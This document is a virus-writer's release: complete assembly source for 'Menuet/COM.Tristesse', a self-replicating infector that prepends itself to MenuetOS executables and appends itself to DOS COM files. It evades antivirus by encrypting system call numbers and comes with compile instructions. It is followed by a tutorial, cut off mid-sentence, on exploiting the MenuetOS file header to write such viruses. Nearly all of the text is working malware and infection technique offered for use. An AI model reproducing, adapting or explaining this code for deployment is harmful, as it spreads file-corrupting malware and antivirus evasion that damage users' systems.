Menuet/COM.Tristesse Second Part To Hell ;; Menuet/COM.Tristesse ;; by Second Part To Hell/[rRlf] ;; www.spth.de.vu ;; spth@prist.com ;; written from june 2004 - sebtember 2004 ;; in Austria ;; ;; I'm damn proud that I can present you my latest virus: Menuet/COM.Tristesse! ;; So far, this is the most complex virus I've ever coded, and you'll get the ;; point, why it is the most complex while reading this. ;; ;; ;; The virus: ;; Menuet/COM.Tristesse is a multi-platform infector, which infects MENUETs/COMs. ;; MENUET (www.menuetos.org) files will be infected via prepending the code and COM files will ;; be infected via appending the code. The most important thing about this virus was the ;; biggest (!!!) problem while coding: ;; Menuet is a 32bit based OS, and COM files uses 16bits, which means that I had to code ;; two totally independent parts, one for MENUETs (32bit) and one for COMs (16bit). (I can ;; tell you, infecting a 32bit file via a 16bit file is hell.) ;; ;; The virus infects files this way: ;; Menuet (32bit) -> Menuet (32bit - prepending) ;; Menuet (32bit) -> COM (16bit - appending) ;; COM (16bit) -> COM (16bit - appending) ;; COM (16bit) -> Menuet (32bit - prepending) ;; ;; When the virus runs at MenuetOS, the following thing happens: ;; - Searchs and infects MENUETs at the RAMDISK ;; - Searchs and infects COMs at the HARDDISK (which is, in most cases C:\) ;; - Regenerates the host and returns to the host ;; ;; More exactly: The virus does the following things: ;; - Searchs it's code (delta offset via static address) ;; - Searchs for files ;; - Checks if the file is good for infection (MENUET file, not infected, enough memory, ...) ;; - Reads file into memory ;; - Writes first hostbytes (buffer for virus) to end of file in memory ;; - Viruscode in memory at buffer generated before ;; - Writes Infection sign ;; - Saves file at RAMDISK ;; - Jmp to 2 ;; - Searchs for files ;; - Checks if the file is good for infection (COM file, not infected, no MZ header, ...) ;; - Reads file into memory ;; - Saves first 4 bytes ;; - Generates jump to virus + infection mark ;; - Appends viruscode to end of file in memory ;; - Saves file at HARDDISK ;; - Writes Host at Entry Point of file ;; - Jmp to 10 ;; - Return to host ;; ;; ;; ;; When the virus runs at COMs, the following happens: ;; - Searchs and infects COMs at current directory ;; - Searchs and infects MENUETs at current directory ;; - Regenerates the host and retuns to the host ;; ;; More exactly: The virus does the following things: ;; - Searchs it's code (delta offset via call) ;; - Restore host (4 bytes at the start) ;; - Find First File (*.com) ;; - Open File ;; - Checks if the file is good for infection (no MZ header, not infected) ;; - Save 4 bytes and check if it's already infected ;; - Calculates new Offset for Jump (filesize+MENUET part-3 bytes [jmp]) ;; - Appends viruscode to the end of the file ;; - Writes new 4 bytes (jmp+Virussign) ;; - Find Next File ;; - Jmp to 2 ;; - Find First File (*.*) ;; - Open file ;; - Check if the file is good for infection (MENUET file, not infected) ;; - Calculate n blocks (1 block=0x10 bytes) and REST of hostcode ;; - Writes first hostbytes (buffer for virus) to end of file ;; - Writes Virus to generated buffer ;; - Jmp to 11 ;; - Return to host ;; ;; ;; Some other infos: ;; 1.) You may ask, why did I infect COM files instead of PE EXEs. The answere is simple: ;; You can not infect PE EXEs via MENUET, because there if too few memory for reading ;; the file. And COMs should just contain 65.536 bytes. ;; ;; 2.) The virus conains a by-hand encryption of DOS SYSTEM CALL NUMBERS, for avoiding ;; KAVs 'Type_COM' warning. Every Number is encrypted with one of XOR/NOT/ADD/SUB/INC/DEC. ;; ;; 3.) I've tested the virus at WindowsXP, Windows98, MenuetOS 0.78 pre2 and MenuetOS 0.77 final, ;; and the code worked on every OS. There is just one problem with MenuetOS 0.76+ when you ;; run it with a Notebook/Laptop. Menuet can't read data from the HARDDISK, and therefore ;; just MENUET files will be infected, not COMs. But this is a bug in Menuet, and not in my ;; virus. ;; ;; Compile: FASM code.asm code ;; And you get the executeable MENUET file. ;; You will get the COM infected, when a MENUET file infects a COM, not with compiling. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; viruslength equ I_END-START use32 org 0x0 db 'MENUET00' ; 8 byte id dd 23 ; required os & Virus infection Mark dd START ; Program start dd I_END ; Program length dd 0x100000 ; Required amount of memory dd 0x00000000 ; reserved=no extended header START: pushad ; Save the original register-contents to stack mov ebp, dword [0xC] ; Save the virussize in ebp ;; Infect MENUET-files xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to fileinfo-block add bx, (dir_block_men-START) ; Get the relative offset int 0x40 ; System Call mov ebx, 0x20000 ; Move Offset of filename to ebx nextfile: add ebx, 32 ; Next Filename cmp ebx, 0x22000 ; Compair ebx with 0x22000 je endinfmen ; If equal, stop it mov cl, [ebx] ; First letter of Filename to cl cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file) je nextfile ; If so, get next file mov cl, [ebx+11] ; Move the attribute bits to cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER ) jnz nextfile ; If not zero, get next file mov edx, ebx ; Save ebx in edx mov edi, ebp ; Move fle (11 letter buffer) to edi add di, (fle-START) ; Get the relative Offset xor ecx, ecx ; ecx=0 mov cl, 11 ; Move 11 to ecx (counter=11) fn2fb: ; File Name to File Block mov al, [ebx] ; Move the ebx-value to al stosb ; Write al to memory at offset edi (=11 letter buffer) inc ebx ; Get next letter loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block_men-START) ; Get the relative Offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) mov eax, 0x25000 ; Move Offset of readed file-content to eax cmp dword [eax], 'MENU' ; Compair a double-word with 'MENU' jne nextfile ; If not equal (=No Menuet-executed file), get next file add al, 8 ; eax = 0x25000 + 0x8 = Infection mark offset cmp byte [eax], 23 ; Compair a byte with 23 je nextfile ; If equal (file is already infected), get next file add al, 12 ; eax= 0x25008+12 = Memory used by file cmp dword [eax], 0x50000 ; Compaire with 0x50000 (most files have the double) jl nextfile ; If less (too few memory for the virus), get next file mov eax, dword [ebx+28] ; Move the filesize to eax shr eax, 9 ; Get the blocks to read inc eax ; For reading the last not completed block mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset stosb ; Write [al] to di in memory mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block_men-START) ; Get the relative offset int 0x40 ; System Call mov ebx, edx ; Restore original ebx (Filename offset) ;; Write first part (bytes of virus) of the host code to end ;; because these bytes will be overwritten. mov edi, dword [0x25010] ; Where to write: End of file add edi, 0x25000 ; Add memory offset of hostcode mov cx, viruslength ; Viruslength to ecx add ecx, dword [0x2500C] ; add Header-length cmp dword [0x25010], ecx ; Check if the file is smaller than the virus jge notsmall ; If not greater or equal, calculate another offset for writing xchg edi, ecx ; Move the real start to edi add edi, 0x25000 ; Add memory offset notsmall: xor ecx, ecx ; ecx=0 mov cx, viruslength ; How much to read: Viruslength mov edx, dword [0x2500C] ; What to read: Entry Point of file add edx, 0x25000 ; Add memory offset of hostcode fp2eof: ; First part to end of file mov al, [edx] ; Move a victim code's byte to al stosb ; Write al to memory at offset edi (end of file) inc edx ; Get next byte loop fp2eof ; Jump to fp2eof if ecx>0 && dec ecx ;; Overwrite first part of host file with viruscode mov cx, viruslength ; How much to write: Virus length mov edx, ebp ; What to write: Viruscode mov edi, dword [0x2500C] ; Where to write: Entry Point of file add edi, 0x25000 ; Add memory offset of hostcode vc2vm: ; Virus code to victim memory mov al, [edx] ; Move a virus code's byte to al stosb ; Write al to memory at offset edi (Start of victim's code) inc edx ; Get next virus byte loop vc2vm ; Jump to vc2vm if ecx>0 && dec ecx ;; Infection Mark <-- Against double-infection mov edi, 0x25008 ; Move the point of the infection sign mov al, 23 ; What to write (the infection mark) stosb ; Write infection mark to file mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative Offset mov eax, dword [ebx+28] ; What to write (Old Filesize) add eax, viruslength ; Add virussize stosd ; Write eax to memory at offset edi ;; Write memory with new built infected file to RAMDISK mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative Offset mov al, 1 ; What to write (1 for writing) stosb ; Write al to memory at offset edi mov edx, ebx ; Save ebx to edx xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file_block_men add bx, (file_block_men-START) ; Get the relative Offset int 0x40 ; System Call ;; Restore some memory stuff and register mov ebx, edx ; Restore ebx mov edi, ebp ; Move the offset where to write add di, (flb_kd-START) ; Get the relative offset xor al, al ; What to write (0 for reading) = RESTORING stosb ; Write al to memory at offset edi mov edi, ebp ; Move the offset where to write add di, (flb_bs-START) ; Get the relative offset inc al ; What to write = RESTORING stosb ; Write al to memory at offset edi jmp nextfile ; Get Next File endinfmen: ;; Infect COM-files xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to fileinfo-block add bx, (dir_block_com-START) ; Get the relative offset int 0x40 ; System Call mov ebx, 0x20000 ; Move Offset of filename to ebx men_com_nextfile: add ebx, 32 ; Find next file cmp ebx, 0x22000 ; Compair ebx with 0x22000 je endinfcom ; If equal, stop it mov cl, [ebx] ; First letter of Filename to cl cmp cl, 0xE5 ; Compair with 0xE5 (which is the sign of a DELETED file) je men_com_nextfile ; If so, get next file mov cl, [ebx+11] ; Move the attribute bits to cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER ) jnz men_com_nextfile ; If not zero, get next file mov ax, [ebx+8] ; Move first 2 bytes of file-extansion to ax cmp ax, 'CO' ; Check if it's a COM-file jne men_com_nextfile ; If not equal, get next file mov edx, ebx ; Save ebx in edx mov edi, ebp ; Move fle (11 letter buffer) to edi add di, (c_fle-START) ; Get the relative Offset xor ecx, ecx ; ecx=0 mov cl, 11 ; Move 11 to ecx (counter=11) c_fn2fb: ; File Name to File Block mov al, [ebx] ; Move the ebx-value to al stosb ; Write al to memory at offset edi (=11 letter buffer) inc ebx ; Get next letter loop c_fn2fb ; Jump to fn2fb if ecx>0 && dec ecx mov eax, dword [edx+0x1C] ; Move the filesize to eax shr eax, 9 ; Get the blocks to read inc eax ; For reading the last not completed block mov edi, ebp ; Move the offset where to write add di, (c_flb_bs-START) ; Get the relative Offset stosb ; Write [al] to di in memory xor eax, eax ; eax=0 mov al, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; pointer to file-block add bx, (file_block_com-START) ; Get the relative Offset int 0x40 ; System Call mov ebx, edx ; Restore ebx mov ax, word [0x25000] ; Move first two bytes to ax cmp ax, 'MZ' ; Check if it's a pseudo-COM je men_com_nextfile ; If equal, get next file mov al, [0x25003] ; Move the 4th byte to al cmp al, 'S' ; Check if it's infected je men_com_nextfile ; If equal, get next file mov eax, dword [0x25000] ; Move first 4 bytes of .COM to eax mov edi, ebp ; Move the offset where to save the 4 bytes add edi, (com_rest_bytes-START) ; Get relative offset stosd ; Write eax to offset edi mov eax, [edx+0x1C] ; Filesize to eax add ax, (comvirusstart-START-3) ; Add offset of com-part start (Size shouldn't be bigger than 0xFFFF) mov edi, ebp ; Where to write add edi, (com_4bytes-START+1) ; Buffer for com-start stosw ; Write two bytes mov edi, [edx+0x1C] ; Move the filesize to eax add edi, 0x25000 ; Get the end of the file mov ecx, viruslength ; Move viruslength to ecx mov ebx, [0xC] ; Move the start of the virus to ebx c_vir2end: ; Virus to end mov al, [ebx] ; Move one virusbyte to al stosb ; Write al to edi inc ebx ; Get next byte loop c_vir2end ; Write next byte mov ebx, ebp ; 4 bytes to ebx (Jmp to com + infection mark) add ebx, (com_4bytes-START) ; Get relative offset mov edi, 0x25000 ; Where to write: filestart mov ecx, 0x4 ; Write 4 bytes c_4b2fRAM: ; 4 bytes to file in RAM mov al, [ebx] ; Move one of the 4 bytes to al stosb ; Write al to edi inc ebx ; Get next byte loop c_4b2fRAM ; Write next byte mov al, 0x1 ; Move 1 to al mov edi, ebp ; Move com-fileblock offset to edi add edi, (c_flb_kd-START) ; Get relative offset stosb ; Modify com-fileblock (to write) mov eax, dword [edx+0x1C] ; Move filesize to eax add eax, viruslength ; Add viruslength mov edi, ebp ; Move com_fileblock offset to edi add edi, (c_flb_bs-START) ; Get relative offset stosd ; Modify com-fileblock (size to write) mov eax, 58 ; SYSTEM TREE ACCESS mov ebx, ebp ; Fileblock add ebx, (file_block_com-START) ; Get relative offset int 0x40 ; SYSTEM CALL mov ebx, edx ; Restore Filenames jmp men_com_nextfile ; Get Next File endinfcom: ;; Restore original host mov ebx, ebp ; What to write - Offset of vircode add bx, (rebu-START) ; Add relative address mov edi, 0x20000 ; Where to write mov cl, (rebuend-rebu) ; How much to write (whole rebuild-code) rb2m: ; Rebuild code to memory mov al, [ebx] ; Move one byte of rebuild-code to al stosb ; Write al to offset edi inc ebx ; Get next byte loop rb2m ; Jump to rbch if ecx>0 && inc ecx mov ebx, 0x20000 jmp ebx ; Jump to rebuild code in memory ; Now the viruscode in memory will be replaced by the ; old original host code, and the control comes back to ; the host file. The reason for using memory for ; overwrite the viruscode in memory is the fact that ; we can't overwrite the current running code. ; From now on, there is just data rebu: ; Rebuild the host code xor eax, eax ; eax=0 mov al, 0x10 ; eax=0x10 mov ebx, dword [eax] ; Move the file length to ebx, to get the old hostcode offset sub eax, 4 ; eax=0xC mov edx, dword [eax] ; Move the offset of the head-length to edx add dx, viruslength ; Add the virulength to edx cmp ebx, edx ; Check if the file is smaller than the virus jge notsmall2 ; If not greater or equal, go on mov ebx, edx ; Move the new offset to ebx notsmall2: mov edi, dword [0xC] ; Where to write: 0xC mov cx, viruslength ; How much to write rbhc: ; Rebuild host code mov al, [ebx] ; One byte of the saved host code to al stosb ; Write al (Host code) to edi (Entry Point of file) inc ebx ; Get next byte loop rbhc ; Jump to rbch if ecx>0 && inc ecx popad ; Get the original register-contents jmp dword [0xC] ; Jump to Entry Point, now with the original code rebuend: ; Rebuild host code: End ;; ;; DATA ;; virmsg db '1st Menuet/COM Virus (Tristesse) by Second Part To Hell/rRlf' dir_block_men: dd 0 ; 0=READ dd 0x0 ; 512 block to read 0+ dd 0x16 ; blocks to read (/bytes to write/append) dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RD/1',0 ; ASCIIZ dir & filename file_block_men: flb_kd: dd 0 ; 0=READ (delete/append) dd 0x0 ; 512 block to read 0+ flb_bs: dd 0x1 ; blocks to read (/bytes to write/append) dd 0x25000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes flpath db '/RD/1/' fle db ' ',0 dir_block_com: dd 0 ; 0=READ dd 0x0 ; 512 block to read 0+ dd 0x16 ; blocks to read (/bytes to write/append) dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/HD/1',0 ; ASCIIZ dir & filename file_block_com: c_flb_kd: dd 0 ; 0=READ (delete/append) dd 0x0 ; 512 block to read 0+ c_flb_bs: dd 0x1 ; blocks to read (/bytes to write/append) dd 0x25000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes c_flpath db '/HD/1/' c_fle db ' ',0 ;; Start of the COM-part ;; use16 comvirusstart: ; Start of the virus call com_get_delta ; Jump to com_get_delta + push current offset com_get_delta: pop bp ; Get current offset sub bp, com_get_delta ; Get relative offset lea si, [bp+com_rest_bytes] ; Restore original bytes from com_rest_bytes mov di, 0x100 ; Write to 0x100, as a COM starts at that offset movsw ; Write 2 bytes movsw ; Write 2 bytes (=4 bytes) com_find_first: mov ah, 0xB1 ; Find First File (encrypted) xor ah, 0xFF ; Decrypt com_infection: lea dx, [bp+com_string] ; dx=Search-lable (='*.com') xor cx, cx ; cx=Attribute (=normal file) int 0x21 ; Execute It jc end_vir ; If carry (no more file), jmp to end of virus mov ax, 0xC2FD ; Open File (encrypted) xor ax, 0xFFFF ; Decrypt mov dx, 0x9E ; dx=Filename (any com-file returned by FFF) int 0x21 ; Execute it xchg ax, bx ; Filehandle to bx mov ah, 0xC0 ; Save first 4 bytes, which will be overwritten (jmp + infection-mark) (encrypted) xor ah, 0xFF ; Decrypt mov cx, 0x4 ; cx= How much (4 bytes) lea dx, [bp+com_rest_bytes] ; Where to save (4 byte-buffer) int 0x21 ; Execute it cmp byte [bp+com_rest_bytes+3], 'S' ; Check if already infected je com_FindNextFile ; If equal (=infected), jump com_FindNextFile mov ax, 0xBDFD ; Jump to end of the file (+ Get filesize) (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it add ax, (comvirusstart-START-3) ; Calculate the offset of new com-start: filesize+MENUET part-jmp(3 bytes) mov word [bp+com_4bytes+1], ax ; Write the new length to the buffer, ; so the file will jump to the end (=virus-start) mov ah, 0x45 ; Write to file (encrypted) sub ah, 0x5 ; Decrypt mov cx, viruslength ; How much to write (virussize) lea dx, [bp+START] ; Where to read from: virusstart int 0x21 ; Execute it mov ax, 0xBDFF ; Get the filestart (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0xBF ; Write to file (encrypted) xor ah, 0xFF ; Decrypt mov cx, 0x4 ; How much to write: 4 bytes= jmp+infection_mark lea dx, [bp+com_4bytes] ; Where to read int 0x21 ; Execute it com_FindNextFile: mov ah, 0xC1 ; Close file (encrypted) not ah ; Decrypt int 0x21 ; Execute it mov ah, 0x6D ; Find Next File (encrypted) xor ah, 0xDD ; Decrypt not ah ; Decrypt jmp com_infection ; Infect it end_vir: mov ah, 0xB1 ; Find First File (encrypted) not ah ; Decrypt c_men_infection: lea dx, [bp+com_men_string] ; dx=Search-lable (='*.*') xor cx, cx ; cx=Attribute (=normal file) int 0x21 ; Execute It jc ret_host ; If carry (no more file), jmp ret_host mov ax, 0xC2FD ; Open file (encrypted) xor ax, 0xFFFF ; Decrypt mov dx, 0x9E ; dx=Filename (any file returned by FFF) int 0x21 ; Execute It xchg ax, bx ; Filehandle to bx mov ah, 0x28 ; Read from file (encrypted) xor ah, 0x17 ; Decrypt mov cx, 0x10 ; How much to read (16 bytes) lea dx, [bp+com_men_buffer1] ; Where to store (Menuet buffer) int 0x21 ; Execute it cmp word [bp+com_men_buffer1], 'ME' ; Check if it's a Menuet-File jne com_men_FNF ; If not, get next file cmp byte [bp+com_men_buffer1+0x8], 0x17 ; Check if file is already infected je com_men_FNF ; If equal (=infected), get next file mov ax, 0x4210 ; Set File Pointer to start (encrypted) sub ax, 0x10 ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0xC0 ; Read from file (encrypted) not ah ; Decrypt mov cx, 0x8 ; How much to read mov dx, [bp+com_men_buffer1] ; Where to store int 0x21 ; Execute it mov ah, 0x63 ; Write to file (encrypted) xor ah, 0x23 ; Decrypt mov cx, 0x1 ; How much to write: One byte mov byte [bp+com_men_buffer1], 0x17 ; The Infection Mark to the buffer lea dx, [bp+com_men_buffer1] ; What to write: Infection Mark for MENUETs int 0x21 ; Execute it mov ax, 0x3200 ; Set File Pointer to start (encrypted) add ax, 0x1000 ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0x30 ; Read from file (encrypted) add ah, 0xF ; Decrypt mov cx, 0x10 ; How much to read (16 bytes) mov dx, [bp+com_men_buffer1] ; Where to store int 0x21 ; Execute it mov ax, viruslength ; Move viruslength to ax shr ax, 0x4 ; 4 bytes left: ax*16=viruslength + REST mov di, ax ; Save result in di mov dx, 0x10 ; dx=0x10 mul dx ; ax=dx[0x10]*ax[shr(viruslength)4] mov dx, ax ; Get the result to dx mov ax, viruslength ; Move viruslength to ax sub ax, dx ; viruslength-di[shr(viruslength)*16]=REST push ax ; Save REST to stack mov ax, [bp+com_men_buffer1+0xC] ; Move the offset of the EP to ax push ax ; Offset of the EP to the stack mov ax, 0x4202 ; Get filelength (=Set filepointer to end of file) xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it sub ax, [bp+com_men_buffer1+0xC] ; Sub header-length to get real code-length cmp ax, viruslength ; Compair codelength with viruslength jge com_menfi_ge ; If greater or equal jmp to com_menfi_ge mov di, ax ; Move the real codelength to di com_men_st2end2: ; MENUET Start to End mov ax, 0xBDFF ; Set File Pointer to start (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0x4203 ; Set File Pointer (encrypted) dec ax ; Decrypt dec ax ; Decrypt xor cx, cx ; cx=0 pop dx ; dx=offset to read push dx ; dx to the stack again int 0x21 ; Execute it pop dx ; Get offset where to read from stack to dx add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes) push dx ; To the stack again mov ah, 0x4F ; Read from file (encrypted) sub ah, 0x10 ; Decrypt mov cx, 0x10 ; How much to read (16 bytes) lea dx, [bp+com_men_buffer2] ; Where to store int 0x21 ; Execute it mov ax, 0xE8AA ; Set File Pointer to start (encrypted) xor ax, 0xAAAA ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0x9FDC ; Set file Pointer (encrypted) xor ax, 0xDDDD ; Decrypt xor cx, cx ; cx=0 pop dx ; dx=EP+already read bytes push dx ; Save dx again add dx, viruslength-0x10 ; Add viruslength-16 (previous 16 bytes) to dx: dx=offset to write old host code int 0x21 ; Execute it com_nrestbytes: mov ah, 0x60 ; Write to file (encrypted) sub ah, 0x20 ; Decrypt mov cx, 0x10 ; How much to write: 16 byte lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer int 0x21 ; Execute it sub di, 0x10 ; Decrease di cmp di, 0x10 ; Compair di with 16 jge com_men_st2end2 ; If not zero (still 16byte blocks to copy), jmp to com_men_st2end2 mov ax, 0x42FF ; Set File Pointer to start (encrypted) sub ax, 0xFF ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0x1 ; Set File Pointer (encrypted) add ax, 0x4200 ; Decrypt xor cx, cx ; cx=0 pop dx ; dx=offset to read int 0x21 ; Execute it mov ah, 0xA6 ; Read from file (encrypted) xor ah, 0x99 ; Decrypt mov cx, di ; How much to read (REST) lea dx, [bp+com_men_buffer2] ; Where to store int 0x21 ; Execute it mov ax, 0xBDFD ; Set File Pointer to end (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0xBF ; Write to file (encrypted) not ah ; Decrypt mov cx, di ; How much to write (REST) lea dx, [bp+com_men_buffer2] ; What to write: Rest of bytes int 0x21 ; Execute it pop ax ; Pop trash jmp virinclude ; Jump to Virus-Include-Part com_menfi_ge: com_men_st2end: mov ah, 0x42 ; Set File Pointer to start (encrypted) xor al, al ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0x4200 ; Set File Pointer (encrypted) inc al ; Decrypt xor cx, cx ; cx=0 pop dx ; dx=offset to read push dx ; dx to the stack again int 0x21 ; Execute it pop dx ; Get offset where to read from stack to dx add dx, 0x10 ; Add 16 to dx (As we need the next 16 bytes) push dx ; To the stack again mov ah, 0x30 ; Read from file (encrypted) add ah, 0xF ; Decrypt mov cx, 0x10 ; How much to read (16 bytes) lea dx, [bp+com_men_buffer2] ; Where to store int 0x21 ; Execute it mov ax, 0x4002 ; Set File Pointer to end (encrypted) add ax, 0x200 ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0x25 ; Write to file (encrypted) add ah, 0x1B ; Decrypt mov cx, 0x10 ; How much to write: 16 byte lea dx, [bp+com_men_buffer2] ; What to write: First bytes of file for buffer int 0x21 ; Execute it dec di ; Decrease di test di, di ; test di if zero jnz com_men_st2end ; If not zero, write next 16 byte mov ax, 0x2200 ; Set File Pointer to start (encrypted) add ax, 0x2000 ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0x6201 ; Set File Pointer (encrypted) sub ax, 0x2000 ; Decrypt xor cx, cx ; cx=0 pop dx ; dx=offset to read int 0x21 ; Execute it mov ah, 0x20 ; Read from file (encrypted) add ah, 0x1F ; Decrypt pop cx ; Get REST push cx ; Save REST again lea dx, [bp+com_men_buffer2] ; Where to store int 0x21 ; Execute it xor ax, ax ; Set File Pointer to end (encrypted) add ax, 0x4202 ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ah, 0xFB ; Write to file (encrypted) xor ah, 0xBB ; Decrypt pop cx ; How much to write: REST bytes lea dx, [bp+com_men_buffer2] ; What to write: REST bytes int 0x21 ; Execute it virinclude: ; Virus-Include-Part mov ax, 0xBDFF ; Set File Pointer to start (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 xor dx, dx ; dx=0 int 0x21 ; Execute it mov ax, 0xBDFE ; Set File Pointer (encrypted) not ax ; Decrypt xor cx, cx ; cx=0 mov dx, [bp+com_men_buffer1+0xC] ; destination: Entry Point int 0x21 ; Execute it mov ah, 0x53 ; Write to file (encrypted) xor ah, 0x13 ; Decrypt mov cx, viruslength ; How much to write: Viruslength mov dx, bp ; What to write: Viruscode add dx, START ; Get relative offset int 0x21 ; Execute it com_men_FNF: mov ah, 0xD0 ; Close file (encrypted) xor ah, 0xEE ; Decrypt int 0x21 ; Execute it mov ah, 0xA1 ; Find Next File (encrypted) xor ah, 0xEE ; Decrypt jmp c_men_infection ; Infect it ret_host: mov di, 0x200 ; di=0x100 (as it's a COM-file) (encrypted) sub di, 0x100 ; Decrypt jmp di ; Jump to di (Jump to Host-start) com_men_string db '*.*',0 ; FileMask for MENUETs com_string db '*.com',0 ; FileMask for COMs com_men_buffer1: times 0x10 db 0x0 ; 16 byte buffer for Menuet-Sign com_men_buffer2: times 0x10 db 0x0 ; 16 byte buffer for Saving the Hostfile com_4bytes db 0xE9, 0x0, 0x0 ,'S' ; Jmp to virus + Infection Mark com_rest_bytes db 0xCD, 0x20, 0x90, 0x90 ; 1st Generation only: int 0x20 | NOP | NOP end_virus: ;ENDE I_END:articles
MenuetOS infection Second Part To Hell ************************************************************* ************************************************************* ************ *********** ************ MenuetOS infection *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro words 1) File Format a) General information b) Application Structur c) Header Information 2) System Calls a) General Information b) System Call 58 3) Virus functions a) Find viruscode in memory b) Find files c) Directory entries d) Read files to memory e) Write memory to files 4) Infection Type a) Prepender b) Appender 5) Last words 0) Intro words MenuetOS is a new and free Operating System with GUI (Graphical User Interface) and many network tools like a eMail program or a IRC client, which fits on one disk. The Operating System is fully assembler written and has a great documation, more than that, it's open source. You can find the OS here: www.menuetos.org. I got the idea of writing a virus for it, when I had the first contact with it: One boring day in a IRC-channel VxF talked about it, and joked about writing viruses for it. Well, that was the start of the whole story, and as I became bored of all that windows based virus, I thought it would be a nice challenge for me. About five month after that contact the first virus (Menuet.Oxymoron) was finished. As I had to learn alot of it by myself, I want to share this information with you. And that's also the only purpose of this article. 1) File Format a) General information MenuetOS first asks the user about the start configuration. After that it loads the files (from disk or harddisk) to the memory. There the data is available at directory '/RAMDISK/1/xxx'. The primary harddisk of your computer is saved as '/HARDDISK/1/xxx'. That's a basic information, and most important for the following dream (writing a MenuetOS virus). b) Application Structur The MenuetOS-file has a simple structur. It just consists of two parts: The Header and the executeable code. It looks like that: ---------------- --- --- --- HEADER --- --- --- ---------------- ---------------- --- --- --- EXECUTE --- --- ABLE --- --- --- --- CODE --- --- --- ---------------- I will explain the header in the next part of the article. The executeable code contains your commands and your data, which must not be executed, therefor it will be intelligent if you write your data after the code, which means after the end of your application or after the jump to the host code. A very important information is, that every execution file are loaded at memory offset 0x0 (org 0x0). It's important because we could calculate with the static header informations and not any calculting any relative offsets. In that case, for instance the EP of the current file in memory is here: dword [0xC] (will be explained in the next part). c) Header information The header is the most important part you have to think of when you want to write a virus for this Operating System. There are two parts of header: the extanted and the not-extanted one. The not-extanted header consists of 0x1C (=28) bytes, which are very important. The extanted header has 8 bytes more than the other one, so it's size is 0x24 (=36) bytes. After the header some programs store important data, which means, the end of the header is not directly the beginning of the Executeable code. Now I want to show you the Menuet's header, and explain the different parts and their use in a virus later on: * Offset * Length * Name * *********************************************** * 00h * 8 bytes * File ID * * 08h * 4 bytes * required OS * * 0Ch * 4 bytes * Entry Point * * 10h * 4 bytes * File length * * 14h * 4 bytes * Used memory * * 18h * 4 bytes * extanted header / esp * *********************************************** * 1Ch * 4 bytes * Parameters * * 20h * 4 bytes * Icon Information * *********************************************** File ID: This 2 dword tell the OS, that it's an executeable file. The File ID should be 'MENUET00' or 'MENUET01'. I haven't found any difference between these two ways. Required OS: This double word tells the OS, which version of MenuetOS it needs. Up to now (June 2004), Menuet exists in it's version 0.77. The dword of a program which just run at MenuetOS 0.77+ would contain the value '77'. But I have just seen two different values: 1 and 38. Due to this, and the fact, that it's not important for the file, we could use it as our virus sign. Just overwrite this value with a number less than 77 (but not 1 or 38 :] ). Entry Point: This is also a very important value for our virus. Here we get the information where the file's code starts. This value could be 0x1c, if it's no extanted header without data or much bigger, if it contains alot of data. Anyway, this value is also very important for finding the virus code in memory. If it's a prepender, the virus is at EP or if it's an appender, this is the value you could change, so that the virus runs first. File length: This is the next important value. It's the size of the file, which means: Headerlength+codelength. This value is generated when the file is compiled. That means, if you add some bytes (the virus), the value won't change, which is perfect for writing a virus. If you want to write a prepender, you could store the first part of the host code at that offset, or if you want to write an appender, you could add your viruscode here. Used memory: The doubleword is the amount of memory reserved by OS for the application. As the virus also uses alot of memory (reading files, file rebuilding), this is very important. You have to check if the value is bigger than your required memory. If you infect a file using too few 